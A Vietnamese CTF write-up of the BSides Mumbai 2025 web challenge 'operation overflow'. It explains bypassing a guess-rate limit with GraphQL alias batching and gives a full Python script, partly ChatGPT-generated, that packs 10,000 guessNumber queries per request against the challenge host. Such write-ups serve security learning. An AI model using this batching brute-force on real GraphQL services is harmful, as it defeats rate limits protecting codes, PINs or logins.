[BSides Mumbai 2025] Web - operation overflow
Hello xin chào mọi người!
Trước tiên, mình xin cảm ơn các anh trong team CTF và công ty BlueCyber đã hỗ trợ và tạo điều kiện để mình tham gia CTF.
Suy nghĩ ban đầu
Vì thử thách đã bị khóa lại sau khi kết thúc nên bài viết này sẽ cố gắng miêu tả lại hướng đi suy nghĩ đến script cuối cùng. Về cơ bản đây là trang web yêu cầu nhập 1 con số trong khoảng 1 đến 100000 và có rate limit. Dạng bài như này thì mình sẽ cố gắng tìm cách brute force và bypass được rate limit. Nhưng có vẻ rate limit được thực hiện khá tốt. Sau 1 thời gian tìm kiếm cũng như theo kinh nghiệm, tìm được 1 dạng tấn công trong graphql là GraphQL Batching Attacks. Về cơ bản đây là loại tấn công cho phép gửi nhiều queries trong chỉ duy nhất một http requests, rất phù hợp cho bypass rate limit (vì chỉ cần gửi 10000 queries trong 1 lần và tối đa 10 lần gửi là sẽ có flag).
Triển khai ý tưởng
Từ ý tưởng đó cùng với việc nhờ chatgpt sinh code và điều chỉnh cho phù hợp với bài thì đây là script chạy tự động. Link tham khảo về lỗ hổng.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
import requests
import time
URL = "https://abfb9883.bsidesmumbai.in/graphql"
HEADERS = {
"Content-Type": "application/json",
"Origin": "https://abfb9883.bsidesmumbai.in",
"Referer": "https://abfb9883.bsidesmumbai.in/",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0",
"Cookie": "cf_clearance=...; connect.sid=..." # <-- Dán cookie thật ở đây
}
BATCH_SIZE = 10000 # Số lượng guess mỗi batch
START = 1
END = 100000
def make_query(start, count):
aliases = []
for i in range(count):
number = start + i
alias = f"n{number}"
aliases.append(
f'{alias}: guessNumber(number: {number}) {{ correct message flag }}'
)
return "query { " + "\n".join(aliases) + " }"
def main():
for i in range(START, END + 1, BATCH_SIZE):
count = min(BATCH_SIZE, END - i + 1)
query = make_query(i, count)
try:
response = requests.post(URL, headers=HEADERS, json={"query": query})
data = response.json()
if "data" in data:
for key, val in data["data"].items():
if val and (val.get("correct") is True or val.get("message") != "Incorrect guess."):
print(f"[✅] Found! Number: {key[1:]} | Flag: {val.get('flag')}")
return # Dừng lại khi tìm được flag
else:
print(f"[⚠️] Response lỗi hoặc rate-limit tại batch {i} - {i + count - 1}: {data}")
except Exception as e:
print(f"[❌] Exception tại batch {i} - {i + count - 1}: {e}")
time.sleep(10) # Tránh bị rate-limit hoặc block
print("[❌] Không tìm thấy flag trong khoảng đoán.")
if __name__ == "__main__":
main()
Tóm tắt flow của script
| Bước | Nội dung |
| 1 | Gửi hàng loạt truy vấn guessNumber(number: X) qua GraphQL alias |
| 2 | Chạy batch từ 1 đến 100,000 theo lô 10,000 |
| 3 | Phân tích kết quả phản hồi JSON |
| 4 | Nếu correct == true, in flag và dừng |
| 5 | Thêm sleep để tránh rate-limit và xử lý lỗi |

Xin chào và cảm ơn các bạn đã quan tâm đến writeup của mình. Chúc các bạn một ngày vui vẻ hẹ hẹ hẹ.





